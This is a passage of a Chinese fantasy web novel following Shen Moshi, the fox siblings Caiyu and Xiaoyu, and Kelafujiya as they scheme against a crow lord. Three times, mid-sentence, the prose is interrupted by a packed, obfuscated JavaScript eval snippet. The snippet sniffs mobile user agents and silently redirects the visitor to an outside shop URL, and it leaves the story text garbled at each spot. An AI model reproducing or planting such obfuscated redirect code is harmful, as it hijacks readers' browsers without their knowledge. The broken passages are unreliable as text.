不过幸好已经是深夜了,除了彩玉这个熬夜专业户,沈莫失与克拉芙季雅两人都难免有些倦意,没那么多精力。 更何况刚才在餐馆内已经打过一架,两人胡乱地折腾了几回合就消停了下来。 这么一会儿的打闹下,沈莫失消了食,几人也终于接近彩玉家了。 彩玉家所在的位置其实很不错,附近商业发达,离领主府的距离也不远,几乎就在领主的眼皮子底下生活。 ——这或许也是彩玉能被领主挑中的原因之一。 沈莫失抬头看了眼顶上雅致的招牌,又扫过角落里那个张扬的太阳标记,抬脚随着彩玉进门。 “哥哥!” 沈莫失刚一进门,就看到一道深灰色的影子,如风一般地向她扑来。 “诶?”沈莫失被这突发情况吓得困意都消了。 落后她半步,正请沈莫失先进门的彩玉见到这一场景,也瞪大了眼睛,倒吸一口凉气。 不过沈莫失在反应过来后,却是站在原地没动,任由这人扑进了她的怀里。 毕竟她没察觉到来人有恶意,而且她身后就是台阶了,要是她躲开,这人估计得摔个大的。 不过当这人带着比沈莫失想象中还要大不少的力道一下子撞过来的时候,沈莫失多少还是扭曲了一下表情。 “咳咳!”这种被家里几十公斤的狗子创到的感觉,没想到还能在红雪以外的人身上体会到。 沈莫失龇牙咧嘴地抱住了这个在她怀里乱蹭的家伙。 “嘤嘤嘤哥你怎么才回来呀。”来人好像还没发觉自己抱错了人,黏黏糊糊地在沈莫失的胸口乱蹭着。 “哥你怎么好像变软了些,嘿嘿不过这样抱着更舒服了。”她一边蹭还一边扬首,用毛绒绒的耳朵蹭了蹭沈莫失的下颚。 “呜呜你怎么还变香了呀。” “!”被这么一番蹭,沈莫失顿时手都不知道要往哪放了,第一次见面就这样还是会让她有些不太好意思的。 不过还没等沈莫失推开她,在沈莫失身后的克拉芙季雅就先一步跳了出来。 “喂!你这家伙是怎么回事啊?”她一脸不爽地强硬拉开了这个深灰色毛发的少年人。 多亏了她,沈莫失也终于看清楚来人的相貌了。 一头蓬松柔滑的深灰色长发,还有一双橙黄色的圆润眼睛,只穿着一套长及膝盖的浅灰色睡衣,看着比彩玉还要年轻一些,可能才成年不久。 沈莫失在彩玉的全家福上见过这人,再听她刚才的称呼,也就知道这人的真实身份了。 有了些猜测后,她看向彩玉,见他果然是一脸紧张地看着被克拉芙季雅拎在半空中的少年。 “小鱼……”彩玉双手无措地想要去把自家妹妹从克拉芙季雅的手下救出来,可又顾忌着她的态度而不敢直接伸手。 这个扑错了人的妹妹好像也懵了,被克拉芙季雅拎着后衣领在半空中晃荡也丝毫没有害怕的想法,只瞪大了眼睛,目光在沈莫失与彩玉之间不断游移着。 “诶?你们是谁啊!” 克拉芙季雅提着她晃了晃,大张着嘴吼她,“该是我们问你才对吧?怎么能随随便便就扑到别人怀里啊!” “懂不懂礼貌啊?”她把她拎到了眼前,歪眉质问她。 沈莫失一手捂住了自己还在隐隐作痛的肚子,另一手紧紧捂上嘴,忍住没在这里给克拉芙季雅拆台。 最没有礼貌的家伙居然说别人没礼貌了! “好了好了,别对小孩子那么凶。” 小鱼被克拉芙季雅吼得耳朵都贴紧了头部,尾巴也紧紧夹在身后。 见她这幅可怜样,想到了红雪的沈莫失还是上前阻止了克拉芙季雅。 “呜呜。”听了这番话,小鱼顿时泪眼朦胧地看向沈莫失,像是在看她的救星一般。 “嘁。”克拉芙季雅阴沉着脸把小鱼搁在了远离沈莫失的方向上,然后就双手抱胸地挡在了两人之间。 不过小鱼也没有再往沈莫失身上扑了,毕竟之前真的只是一次误会罢了。 甫一落地,她就连蹦带跳地过来挽住了彩玉的胳膊,躲在他身后,只探出个脑袋看向陌生的两人。 “哥,她们是谁啊?新的客人?”她凑到彩玉的耳边悄咪咪地问道。 彩玉先回头摸摸她的发顶安抚她,才向沈莫失介绍道:“姐姐,这位是我的妹妹锦鲤,姐姐叫她小鱼就好。” 锦鲤?怪不得彩玉要叫她小鱼。 沈莫失推开像堵墙一样的克拉芙季雅,好奇地看着这位妹妹。 “小鱼,这是贵客,你要有礼貌,快向她道歉。” 小鱼顺着彩玉牵引她的动作从他身后出来,乖乖地低头致歉,“对不起姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304867|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐,冒犯到您了。” 沈莫失摆了摆手,“多大点事,我又不在乎,快进去吧,孩子穿这么薄,别冻着了。” 彩玉抿唇微笑,“姐姐请进。” …… “姐姐~” 小鱼悄咪咪地打开门,从门后探出头来,扫视一圈周围,才轻快地上前扑到了沈莫失身边,一双圆润的眼睛扑闪扑闪地看着她。 “嗯?”沈莫失正倒在柔软的沙发上,见小鱼来了,她搁下手上的报告,反手盖在桌案上,才抬手摸了摸小鱼毛绒绒的耳朵。 “怎么了吗?” 自沈莫失治好了彩玉家里的孩子们后,小鱼就对她格外亲近,时不时地会过来,在她身边黏糊一番。 在克拉芙季雅忙碌起来后,小鱼来找她的次数更是多了不少。 “嘿嘿,”小鱼笑得像是只偷腥的狗子般,“那位领主大人出门啦。” 沈莫失一下子就懂了,她失笑道:“所以你才终于敢来找我玩了?” “我之前不是跟你说过吗?现在她不会再来针对你了。”沈莫失摸了摸她的发顶安抚她。 克拉芙季雅总是看不惯她对别人过分亲近的样子,最近好像可以接受彩玉了,但其他人,比如彩玉的妹妹小鱼,还是经常会被她针对上。 但沈莫失还蛮喜欢这位灰狼妹妹的,克拉芙季雅这样的态度多少给她也带来了些麻烦。 每次哄完了被克拉芙季雅吓哭的小鱼,还要去哄对此感到不满的克拉芙季雅。 一次两次的,沈莫失也觉得有些意思,可次数实在是太多了,她就开始头大了,干脆就专门找了一次克拉芙季雅,一劳永逸。 “你怎么会对自己这么没有信心呢?” 沈莫失放柔了语调,像是在哄小孩子一般,用柔软的掌心摩挲着克拉芙季雅的吻部,“嗯?” “她们在我心里的地位怎么会比得过你?” 克拉芙季雅后仰拂开了她的手,唇角勾起,似笑非笑道:“可别把这一套用在我身上。” 沈莫失歪着头,嘴角的笑意毫无变化,果然见她还有下文。 “不过嘛,”克拉芙季雅垂眸思索了一番,又看向沈莫失,“你说的倒也不是没有道理。” 轻哼一声,她才从沈莫失身上收回视线,哼着小调转头离去。 从回忆里回到现实,沈莫失又看向身旁的小鱼。 “能不撞上她总是好的嘛。”小鱼鼓起嘴,想到那位可怕的领主,还是会不由自主地抖一抖。 可能是由于克拉芙季雅曾经对她那暴躁的态度,即使现在她已经不在意小鱼了,小鱼还是会选择克拉芙季雅出门的时候才会来沈莫失这边。 沈莫失失笑道:“这么怕她,还要来找我吗?” 小鱼窝在沈莫失怀里蹭了蹭她,“因为在姐姐身边会感觉很安心啊。” 最近哥哥和那位领主都在忙,没一个能来陪着沈莫失的,哥哥觉得这样不太好,专门叮嘱了小鱼要多来陪陪她。 而且沈莫失人又好,抱起来还又香又软的,小鱼自己也很乐意做这件事。 看了眼目光柔和的沈莫失,小鱼脸上绽开一个开朗的笑容。 “多亏了姐姐,哥哥也终于高兴起来了。”小鱼紧紧依偎着她,真情实感地感慨道。 60.不愧是兄妹 “以前的他不高兴吗?” 沈莫失回想了一番彩玉过去的模样,与她摊牌前,彩玉都是一副演戏的状态,即使偶有不高兴的样子,估计也都是演出来的。 摊牌后就谨慎又恭敬,现在更是完完全全的崇拜她的模样,根本不会在她面前露出不高兴的脸来。 都没什么参考价值,沈莫失疑惑地看向小鱼。 “当然不了。” 小鱼低着头轻声道,眼中闪过几分晦暗之色,但很快她就把这些情绪压了下去,抬头时依旧是一双澄澈的眼眸注视着沈莫失。 “姐姐知道我们的来历吗?” “你哥哥有说过些,但我了解得并不多。”彩玉并不是会利用妹妹弟弟的伤心事的人,他用自己的过去就尽够了。 小鱼轻笑道:“除了哥哥,我就是最大的姐姐了,所以我知道哥哥以外所有人的身世。” “所以我也知道,哥哥看着我们的时候,他心里有多么难受。”小鱼抬手抚上了自己的心口,这一定就是与她看着那些孩子们时一样的感受。 可哥哥要比她更痛苦,毕竟哥哥还要为她而难受。 即使她并不觉得为了吃饱饭把自己卖了是什么很值得人同情的事情,不少妹妹弟弟的遭遇都要比她更糟糕。 但在哥哥眼里肯定是不一样的,他的心肠太好了,即使不是她们的妹妹弟弟,他在看到那些人陷入困境时,也要忍不住搭一把手。 “我在难受的时候,会去和哥哥撒娇,可哥哥却并不愿意把他的心事告诉我们。”小鱼神情低落道。 那时候的哥哥,即使面上带笑,但是作为与他相处得最久的妹妹,小鱼怎么会看不出他内心的想法,可他又偏偏不说出来。 哥哥以为自己藏得很好,小鱼也就无法开口安慰他,她怕哥哥知道了自己在为他担心后,压力会变得更大。 这件事就这么绕进了死胡同里。 小鱼难受,却也只能憋在心里,等着一个合适的突破口。 可现在的哥哥就不一样了,即使神情疲惫,但是眼神却是高兴的。 “多亏了姐姐,是姐姐救了哥哥不是吗?” 小鱼顺着沈莫失怜爱地安抚她的动作回蹭着她,情绪柔和又放松,只要看到沈莫失,她就会觉得安心不少。 她是在彩玉回来后,才知道哥哥是带着领主的任务去的驯鹿领。 在此之前,她们都以为哥哥是终于想开了,打算放松一阵子,还聚在一起畅想过哥哥开心的样子,猜测哥哥去了哪些她们推荐的景点。 谁知道他依旧在为了她们的未来冒险呢? 但是幸好,小鱼紧紧揽住了沈莫失的腰,幸好哥哥平安回来了。 光是这一点,她就十分感激她了。 所以这么好的沈莫失,真的不能一直留在她们身边吗? 贴着沈莫失温暖的掌心,看着她脸上清浅的笑意,小鱼的神情有些恍惚起来。 …… “姐姐出门了吗?”彩玉奇怪地询问一旁路过的两位年幼妹弟。 他想去找沈莫失的,但是却发现她的房间里空无一人。 在彩玉家里,姐妹兄弟之间的称呼都会带上前缀,唯一没有前缀的“姐姐”指的就是沈莫失了。 两人闻言,对视一眼后齐齐摇头,“姐姐在家啊,大姐姐陪着她呢。” “那她们在哪?”彩玉疑惑道。 这么些时间来,沈莫失基本已经把家里逛了一遍了,这里对她再没什么新奇感,所以只要在家,她一般都会窝在房间里不动弹。 反正好吃的,好玩的,需要沈莫失了解的情报,他和克拉芙季雅都会为她带来的。 弟弟眼神闪烁地瞄了眼妹妹,妹妹捏了捏他的手心,坦然回道:“大姐姐带她去了大休息室。” “大休息室?”彩玉更摸不着头脑了,“那里不是已经锁起来了吗?” 这是拿来待客用的,可自他回来,家里就歇业了,这种房间自然也就派不上用场,被锁起来了。 小鱼带沈莫失去这里做什么?难道是沈莫失有什么新的想法了吗? “我知道了,你们去玩吧。” 猜了一堆也想不到答案的彩玉笑着摸了摸两位妹弟的头,转身继续去找沈莫失。 想到那个好消息,他的脚步显得格外轻快,也因此忽略了弟弟脸上踌躇的神色。 等他离去,弟弟才悄咪咪凑到妹妹耳边问她,“大姐姐不是说不要让任何人来打扰她吗?” 妹妹揪住了弟弟的耳朵教育他,“那可是大哥哥,他去找大姐姐,这怎么能算是打扰呢?” “诶呦,好啦我知道了啦,快放开我。” 弟弟求饶着从妹妹手里把自己的耳朵解救出来,两人打打闹闹着离去,把姐姐哥哥们的事情抛之脑后。 “你今天这是怎么了?” 沈莫失后仰着躲开小鱼,纳闷地看着她,“突然变得这么粘人?” 虽然平时的小鱼也是一副黏黏糊糊的样子,但今天的她好像更进一步了,还撒娇带耍赖地把她从房间里拽了出来。 沈莫失上下打量着这个宽敞的新房间,沙发和床都柔软舒适,墙边排列着整齐的一排柜子,有衣柜也有储物柜,不知道里面都放了些什么。 她第一次来这里,上次来的时候,这个房间已经是上锁状态了,彩玉跟她说里面都是灰尘,她也就没了这个进去看看的心思。 没想到小鱼是想把她带来这里,这里有什么特别的吗? “嘿嘿。”小鱼笑得眼都眯了起来,贴着沈莫失在她身旁坐下。 “姐姐~姐姐~”她一叠声儿地唤着沈莫失,语调一声比一声甜蜜,沈莫失好笑地一次又一次地回应她。 “我在这呢,你今天到底是想做些什么?” “我能问姐姐几个问题吗?”小鱼仰头,双眼明亮地看着沈莫失。 沈莫失发现小鱼今天居然难得地好好打扮了一番,脸颊上还带着浅浅的粉色。 她眉头疑惑地蹙起,但又很快舒展开来,轻声回应她,“你问吧。” “姐姐喜欢我吗?” 沈莫失笑着揪了把她的脸蛋,“我怎么会不喜欢你呢?” “那姐姐是更喜欢我的手呢?”她带着小小的得意之色,向沈莫失展示她的双手。 沈莫失垂眸看着置于她眼前的这双手。 这双手与彩玉很像,白皙修长,指甲被修剪得圆润而又光滑。 见沈莫失打量完了,小鱼才收回手捧住了自己两边脸颊,小指搭在唇角处,语气如平时一般俏皮,轻声道:“还是其他地方呢?” 看着身侧默默等待着她回复的小鱼,沈莫失的神经敏感地跳了两下,原本还被她唤得有些迷糊的脑袋迅速清明了起来。 她眼中闪过一丝诧异之色,缓缓收敛起了几分笑意,故作无知道:“怎么突然问我这个?” 小鱼疑惑地歪了歪头,俯身贴近了沈莫失,茫然问道:“姐姐,难道你不爱我吗?” 沈莫失并没有后退,任由她靠近了自己, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314935|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是垂眸神色不明地打量着她。 直到小鱼面色逐渐僵硬,眼中隐约带上了几分瑟缩,她才轻笑着反问道。 “为什么要我爱你?” “……我想要。”小鱼眸光闪烁着回她。 沈莫失勾起唇角,似笑非笑道:“不,你不需要的东西,我可不会给你。” “可我是狗狗啊,我们需要爱。”小鱼皱了下鼻子,眼睫轻颤。 沈莫失无奈地轻叹出声,抬手抚上她泛着健康光泽的脸颊,像是在摩挲着一块璞玉,“真是可爱的小狗啊,但你需要的真的是我的爱吗?” 彩玉可能是需要的,但小鱼的情况和彩玉可不一样,现在的沈莫失对于这两人的身世都有过一番了解了。 小鱼的双亲生前都很关照她,她是因母父双亡才把自己卖了的,并且一开始就遇到了彩玉,她可从不缺爱。 “小鱼,”没等失措的小鱼反应过来,沈莫失又轻声唤她,与她四目相对,“你不需要我的爱,你需要的……” 她的眸光深邃,语调更低了,接近于呢喃,仿佛是从深渊中溢出的魔鬼之声,“……是权力。” 小鱼怔怔地看着沈莫失的双眼,仿佛陷落进了这双柔和含笑的眼里,以至于忘了要回她的话。 “姐姐?” 直到彩玉的呼唤声响起,她才像是被惊吓到一般,猛地转头看向门外,沈莫失也随着她的视线看去。 大休息室是区分了外门与内门的,内门虽然也叫门,却只是层层叠叠的纱帘。 彩玉不觉得沈莫失和小鱼相处的时候还需要他避讳什么,呼唤了一声后便动作自然地掀开了纱帘。 “……你们在做什么?” 见到两人过分亲近的姿态,彩玉原本欣喜的脸色一下子难看了起来,他对于这些事情的敏锐程度总是很高。 更何况,他绝对分得清自家妹妹的日常与营业状态。 沈莫失从他身上移开视线,看向几乎整个扑进了她怀里的小鱼,以及自己还搁在她脸上的手。 在第三人看来,这场面好像确实还挺糟糕的。 更糟糕的是,这个第三人还是最关心小鱼的哥哥。 “啊,”她有些僵硬地把手从小鱼的脸上移开,手足无措地向进门的彩玉解释道,“你听我解释,不是你看到的那样。” “姐姐不用再说了,”彩玉一如既往地对沈莫失露出柔和的笑意,接着就拉下脸来,神情严肃地看向小鱼,“锦鲤。” 别说他对沈莫失绝对的信任程度,这种事情,他一眼扫过去就知道罪魁祸首是谁。 听到彩玉叫她大名,小鱼浑身一哆嗦,迅速从沈莫失的身上下来,僵硬地站在原地,手指纠缠在一起,颤着声喊道:“哥哥……” 没等沈莫失做出什么反应,彩玉就一把抓过了自家妹妹,拽着她出门,“别在这打扰姐姐,我们出去谈。” 看着两人消失在了纱帘后,沈莫失才大大地松了口气,一言难尽地捂住了自己的脸。 “搞什么啊这对兄妹,两个人年龄加起来才堪堪我鞋码大,这一天天的折腾我。” 一个个的都要吓死她。 想到彩玉在驯鹿领时对她的态度,沈莫失又深深地叹了口气。 乌鸦真是害人不浅。 沈莫失摊手仰躺在沙发上,眯着眼喃喃道:“这么好的年纪,人生都没开始呢,去学习啊,去冒险啊……” 说着说着,她又咯咯笑出声,抬手掩住了眉眼,“真的变成讨厌的大人样子了。” 61.暗光 门外。 “你到底在想些什么呢?怎么会这么做?”看着面前心虚的小鱼,彩玉费解地询问她。 虽然他也对沈莫失做过类似的事情,但那是为了乌鸦的任务迫不得已,可小鱼为什么会这么做呢? 小鱼思绪正混乱着,又担忧彩玉的想法,又纠结于沈莫失对她说的那番话,听到彩玉对她的质疑,委委屈屈地抬头看了彩玉一眼。 “哥哥和姐姐她没有发生过关系吧?” 她早就发现这一点了。 彩玉闻言,狠狠皱了皱眉,他知道沈莫失忌讳的点,再说了,现在的他本身也不愿意让沈莫失在这些事情上和自己扯上关系。 但当下的重点不是这个,他暗自记下了这点,准备之后再与妹妹解释,将注意力转回到了话题上。 彩玉双手抱胸,“然后呢?这又和我有什么关系了?” 小鱼嘟囔着解释她之前的想法,“连哥哥都没成功,那姐姐或许是不喜欢男性呢。” “说重点,”彩玉已经有些不耐烦了,指尖轻轻敲击着自己的手臂,“还有,不要随意臆测别人,特别是姐姐,我以前是怎么教你的?” 小鱼低着头,手指紧紧捏住衣摆,语气低落,“我想着,如果我们之间有人能和姐姐在一起,那她就能一直留在我们身边了。” 彩玉敲击的动作僵住了,他蹙眉看向小鱼,不可思议道:“你是这么想的?” 小鱼偷瞄一眼彩玉的脸色,见他更生气了,苦着脸缩回了头。 果不其然,彩玉下一刻便竖起指头点着小鱼的脑门,“你觉得和姐姐发生关系就能把她留下来?你是看不起她还是太看得起你自己了?” 这样的事情,他光是想想就觉得是亵渎了沈莫失,“姐姐不是这样的人,如果你想要什么,你就直接告诉她。” “如果她拒绝了你,那肯定也是为了你好。”彩玉对此深信不疑。 “现在已经不这么想了啦……”小鱼咬着唇,想到了刚才发生的事情,神情还带有几分迷茫。 她想要的到底是什么呢? 看着妹妹这副纠结的样子,彩玉以为她还是心有不甘,叹了口气后,他缓缓上前抱住了她,轻声道。 “如果想要姐姐一直陪着你,你可以把她放在你的心里,那她在不在我们身边又有什么关系呢?这样不好吗。” 轻轻揉按着小鱼被他戳红了的额头,彩玉拥着怀里的妹妹,就像两人还小的时候那般。 小鱼在他怀里怔住了,意识到哥哥其实是误会了她的想法,但她还是轻轻点了点头,向彩玉承诺道:“嗯,我知道了,我不会再对姐姐这么做了。” 彩玉欣慰地笑了笑,还想说些什么,耳朵却下意识一颤。 他转头看向室内,沈莫失好像在唤他。 小鱼也灵敏地动了动耳朵,她推了把彩玉,“好啦,哥哥,我也不小了,你来找姐姐是有事的吧?快去,别耽误了。” 彩玉顺着她的力道,下意识往室内走了两步,却又回头来看向小鱼,轻笑着摸了摸她的头,才转身离去。 小鱼抿唇笑着,也摸了摸自己的头顶,手逐渐向下,覆上脸颊时,才垂下眼帘,若有所思着什么。 再次站在熟悉的纱帘前,彩玉深呼吸一口,才抬手掀开进门。 进门后,他先是用余光瞄了眼边上的柜门,发现没有被打开的痕迹,才暗自松了口气,唤道:“姐姐。” 沈莫失闻声看去,她早已恢复了往常的状态,姿态懒散地坐在沙发上。 她拍了拍身侧,招呼他过来,语调没有丝毫不满之意,“过来吧,小鱼还好吗?” 唤彩玉进来倒不光是为了小鱼。 刚才的彩玉一看就是有事要来告诉她,只是没想到会被小鱼的这一番操作打断,所以沈莫失估摸着两人应该谈得差不多了,又把他唤了进来。 彩玉发现沈莫失没有一点介意的样子,心里却是越发愧疚了,很是自觉地坐到了沈莫失身侧,将厚实的尾巴隔在两人之间,俯身用耳朵蹭了蹭沈莫失的手。 “她没事了,请容我代她向您道歉。”彩玉的语气低落,小鱼会做出这样的事情来,他多少觉得自己也是有责任的。 沈莫失轻笑着摸了摸他的耳朵,“我怎么会跟她计较,她没事就好,说说你的事?总不会只是想来见我一面吧。” 之前倒还有可能,不过在彩玉忙起来后,单纯来找她的次数就少多了,也不知道陆岭和克拉芙季雅到底要他干了些什么。 彩玉垂眸,斟酌着用词。 沈莫失看着他,觉得他今天居然还有几分多愁善感,她不禁更疑惑了起来,“在想些什么呢?遇到麻烦了吗?” 彩玉眉头微微蹙起,终于看向沈莫失,感慨道:“只是在想,原来那些看起来高不可攀的商人们也不过如此。” 沈莫失大概懂了,调侃他道:“开始做了才发现,其实根本没有自己想象中的那么难不是吗?” “是的,我早该意识到这件事了。”想到最近发生的事,彩玉嘴角不禁上扬,怔愣着喃喃道。 “您总是对的,以前的我,到底都在害怕些什么啊……” “嗯?”沈莫失疑惑道,彩玉说得太模糊,她没有听清。 对于沈莫失的询问,彩玉腼腆笑着并不多做解释,他面上的感慨之色逐渐褪去,转而双眼明亮地看着沈莫失。 “姐姐,我最近联络了其他的姐妹兄弟们。” 沈莫失挑眉,随他所愿忽略了之前的问题,“怎么说?” 彩玉眼中带笑,唇角微扬,神情显得有几分激动,“她们都会帮助我夺取领主之位的,现在我们的手里有了一大堆商人们的把柄。” 这些都是他曾经帮助过,或是有过交集的伎人们,他挑选了部分掌控得住的人接触,获得了她们的支持。 以乌鸦领的风气,谈事却没有伎人侍候在旁甚至算得上失礼,越是有成就的商人们越是会在意这些糟糕的“礼仪”问题。 除了这点,便是商人们傲慢的老毛病了,毕竟伎人们在那些大商人的眼里,不算是人,最多算得上是好看的花瓶摆件,甚至连谈事都不会避开她们。 彩玉眸光流转,不过倒也不怪商人们轻视这一点,就看他自己,从前的他即使知道乌楠领主对沈莫失暗中的谋划,他又能告诉谁呢? 他要是真敢利用这些消息拿捏乌楠,最先倒霉的绝对是他自己。 可现在不一样了,彩玉看着沈莫失,眼中汹涌的感激之情几乎要满溢出来。 有了沈莫失与其余两位领主的支持,这些都会成为他手里最好的筹码,这可是连陆岭都绝不可能超过他的优势。 沈莫失抚着彩玉发顶的手顿了顿,这好像和她想的不太一样,她们的计划里有这部分内容吗? 她指尖微动,抬起彩玉的脸,疑惑地问他,“克拉法让你这么做的?还是陆岭?” 彩玉歪头蹭了蹭她,眉梢上扬道:“是我自己要做的,您对我的期望这么大,我不想要辜负您。” 看着彩玉诚挚的双眼和留恋的肢体动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329091|147628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,沈莫失不禁想着。 好像哪里出问题了。 她垂眸看着掌下的彩玉若有所思,眼中划过几分恍惚与倦怠之意。 可是一成不变的计划又有什么意思呢,现在这样不是更加有趣吗? 沈莫失勾起唇,露出兴味盎然的微笑来,对于面露期待之色的彩玉,她赞赏道:“做得不错。” 彩玉的双眼一下子亮了起来,不过沈莫失又问道:“不过,总有人不在意这些事情的吧?你确定你手上的筹码威胁得到那些人吗?” 把柄这种东西,如果当事人不在意,宁愿承受暴露的损失,那就是只是她们的累赘罢了。 彩玉压下激动的心情,认真回复沈莫失的疑惑,“我并不打算利用这些让她们直接支持我。” 他自认为手头的把柄,不至于能让这群商人做到这种程度。 “我向她们提出的要求,仅仅是在我们针对乌楠时,保持沉默罢了。”彩玉狡黠地笑着。 乌鸦领和其余领地不同,上层们各有自己的小算盘,乌楠的死忠只占了很小的一部分罢了。 更何况要求别人不做什么,比要求别人做些什么可要容易太多了。 “如果连这个条件都无法接受的话,”他抬眸扫向沈莫失,轻笑道,“那不是还有姐姐在吗?谁家没几个兽人孩子呢?” 陆岭在乌鸦领内的宣传可不是白费功夫,而在其余两位领主都与沈莫失结盟的情况下,乌鸦领内对于乌楠领主的怨言可不低。 不然乌楠为什么会让他来接近沈莫失,他对领地内的情况心知肚明。 而有多少人能拒绝沈莫失呢?彩玉认真地想着,然后迅速得出了结论。 ——那肯定是不会有的。 他神态安然地窝在沈莫失身边,感到前所未有的满足之意。 沈莫失正思索着彩玉的行为会带来的新的变化,就看到他颤着耳朵,满脸期待地看着自己的样子。 她眨了眨眼,有些疑惑于他的反应,随即突然意识到了什么,眉梢轻轻扬起,“想要什么奖励?” 听到沈莫失的许可,彩玉蓬松的大尾巴一下就支棱了起来,在身后摇来晃去。 他红着脸,两手合十搭在唇前,轻声道:“姐姐……” “嗯?”沈莫失单手支着头,好笑地看着他这副模样,她可不觉得彩玉会向她提出什么过分的要求。 但这种时候看着他纠结的样子,也是挺有意思。 斟酌了一番语言后,彩玉才小心翼翼地轻声问道:“……您能抱抱我吗?” 与经常被沈莫失揽在怀里的妹妹不同,由于他之前在驯鹿领冒犯的举动,彩玉会很注意自己的日常举止,以防在沈莫失面前越界。 那次沈莫失的反应给他留下了深刻的印象,所以在来到乌鸦领后,除了头与尾巴,他基本不会主动去触碰沈莫失。 但他真的很想被沈莫失抱一下! 彩玉放轻了呼吸,专注地看着沈莫失,他在外和那些商人们对峙的时候,都比不上现在万分之一的紧张。 彩玉与小鱼是不同的。 沈莫失垂眸打量着面前的彩玉,再次想到了这一点,随即,她绽开明媚的笑容,张开手对着彩玉道:“过来吧。” 彩玉一刻也不愿等,直接向前扑进了沈莫失怀里,满足地发出嘤嘤的叫唤声。 “哈哈哈,有这么高兴吗?” 沈莫失拍着他的背,安抚他过于激动的心情,唇角上扬,掩下了眸中的暗光,一副与彩玉同样的欣喜表情。 62.继任 “有时候即使是我,也会觉得你是不是过分了些。”克拉芙季雅双手抱胸,一言难尽地看着沈莫失。 她一掀开帘子进来,就看到宽敞的大床上横七竖八地躺了一堆人。 正中间不是她那好姐妹沈莫失还能是谁? “嗯?”沈莫失放下手中的故事书,疑惑地抬头看向克拉芙季雅,身旁的几个孩子也随着她的动作抬头看去。 小鱼自那次之后,由于担心沈莫失介意,便不再像之前那般时时贴着她了。 可这两兄妹觉得这样不行,沈莫失又变成一个人了,这次干脆就叫上了几个性格乖巧的妹妹弟弟来陪着沈莫失。 而由于人太多了,沈莫失那原本十分宽敞的房间也显得有些拥挤起来,她干脆就直接住到那间大休息室里去了。 ——彩玉提前把这个房间里里外外全部清理了一遍,让沈莫失住得舒服,也防止她看到些不该看到的东西。 所以事情就变成了克拉芙季雅进门时看到的那般。 “有哪里过分了吗?”沈莫失歪头蹭了蹭旁边的小狗,无辜反问道。 “呵呵,要不是我现在太忙了,可得好好跟你计较。”她挥挥手示意这些半大的孩子们都出去。 果然,还是工作不够多,才有工夫像之前那样折腾她。 沈莫失死鱼眼盯着她,拍了拍身边的孩子们,她们才一个个起身出门去。 “姐姐明天还要给我们讲故事哦。”最后的小妹妹抱住沈莫失贴了贴她的脸颊才出门去。 可可爱爱的小动作让沈莫失又姨母笑着,怜爱地拍了拍她,也成功引得克拉芙季雅不爽地哼了一声。 见所有人都出去了,克拉芙季雅才一屁股坐在了沈莫失身边,又四仰八叉地占据了大半张床。 沈莫失往外挪动几分,嫌弃地看着她,“你怎么就这么躺床上来了,我都闻到你身上的血腥味了。” “你管我?”克拉芙季雅耍赖不起来,还在床上翻滚了几个来回。 沈莫失冲她翻了个白眼,这个大孩子可比一堆小孩子都难应付。 不过想想她最近的工作量,沈莫失倒也没打算继续谴责她,她摇摇头,无奈地叹了口气,妥协道:“好吧,我不管你了,那你这次是来做什么的呢?” 她俩现在的作息时间不一样,沈莫失醒着的时候,克拉芙季雅早就出门了,沈莫失睡下的时候,克拉芙季雅还没回来。 所以一定是有事情才会让她专门来找她一趟。 克拉芙季雅伸长了手臂,探到沈莫失身前,得意地摇了摇手指,“你应该问,我们进展到哪一步了?” 看着面前这只锋利的爪子,沈莫失下意识挑起眉,“哦?那我们进展到哪了?” 克拉芙季雅哼笑着,向她比划了一个“OK”,“乌鸦早就是个光杆司令了。” 能策反的都被她们策反了,不能策反的基本也活不到现在了。 沈莫失看着面前这个如孔雀般的手势,再听了她的比喻,不由得笑了起来,这阵子克拉芙季雅可真是跟着她学了不少奇奇怪怪的东西。 “看来计划进行得很顺利了。” “何止是顺利,”她从仰卧的姿势翻身转为趴在了床上,撑起上半身,眉飞色舞地向沈莫失感慨道,“我可从来没玩过这么顺畅的‘游戏’。” “我现在真是对你那只狐狸改观了,没想到啊……” “怎么?”沈莫失疑惑地看着她。 克拉芙季雅倚在床上,斜瞥她一眼,停顿片刻才继续说道:“没想到他这么有用,怪不得那只乌鸦喜欢到处安插人手,打探消息。” “有个‘自己人’在对面的感觉真是超棒啊!”她越说越激动起来,眼里几乎放光地看着沈莫失。 真是难得见到克拉芙季雅夸彩玉啊,沈莫失新奇地挑眉,不过。 她敲了敲克拉芙季雅的脑门,“可别跟他学坏了,不许随随便便用这招,你自己也知道这有多恶心。” 